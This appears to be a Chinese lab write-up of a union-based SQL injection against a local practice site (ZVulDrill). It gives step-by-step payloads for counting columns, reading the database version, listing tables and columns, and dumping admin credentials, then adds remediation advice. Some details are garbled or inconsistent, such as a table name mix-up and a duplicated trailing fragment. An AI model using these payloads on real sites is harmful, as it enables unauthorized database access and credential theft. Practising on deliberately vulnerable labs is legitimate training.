漏洞名称:SQL注入漏洞
漏洞描述:SQL注入攻击是黑客对数据库进行攻击的常用手段之一。随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。
漏洞网址:http://127.0.0.1/ZV/
漏洞截图:
输入一个错误语句来确定是字符型还是数字型 id=1 and 1=2
输入错误语句后正常显示,说明是字符型
输入’号 显示位出现报错。得出此字符型位’号。
输入语句:order by 5(查询表没有没有5列) 23%是为了与后面的’注释
发现输入后显示位出现不正常显示说明没有5列。尝试得出4列。
输入语句:union select 1,database(),version(),4 %23 在第2,3个显示位显示数据库和版本号
版本号是5.5.53,MySQL数据库5.0版本以上固定的一个库information_schemas
输入语句:
The result for1' union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database() %23 (在第2显示位显示information_schema数据库下的表名)
得到数据库下的表名为:admin ,comment, users
输入语句:
union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database() and table_name='admin' %23
(显示在information_schema数据库下的users表里的字段)
得到users表里的字段:user_id,user_name,user_pass,user_avatar,user_bio,join_date
输入语句:
union select 1,group_concat(admin_name),group_concat(admin_pass),4 from zvuldrill.admin %23
得到最终的账户和密码。但是密码被乱码代替了。
打开转换网址:https://www.cmd5.com/
修复建议:(1)系统安全扫描:采用商用系统漏洞扫描工具或者开源SQL注入漏洞扫描工具,检测系统SQL注入漏洞,在上线前尽量消除这些漏洞。
(2)WAF/NGFW。采用商业的或者开源的WAF/NGFW,部分阻止SQL注入漏洞。
(3)数据库防火墙。由于SQL注入特征在数据库访问SQL语句上会被放大,从而,在数据库前端部署数据库防火墙,理论上能够根治SQL注入漏洞。
验证思路:所有的网址输入栏都可以尝试SQL注入,一些特定的情况下尝试在HackBar里输入。
ckBar里输入。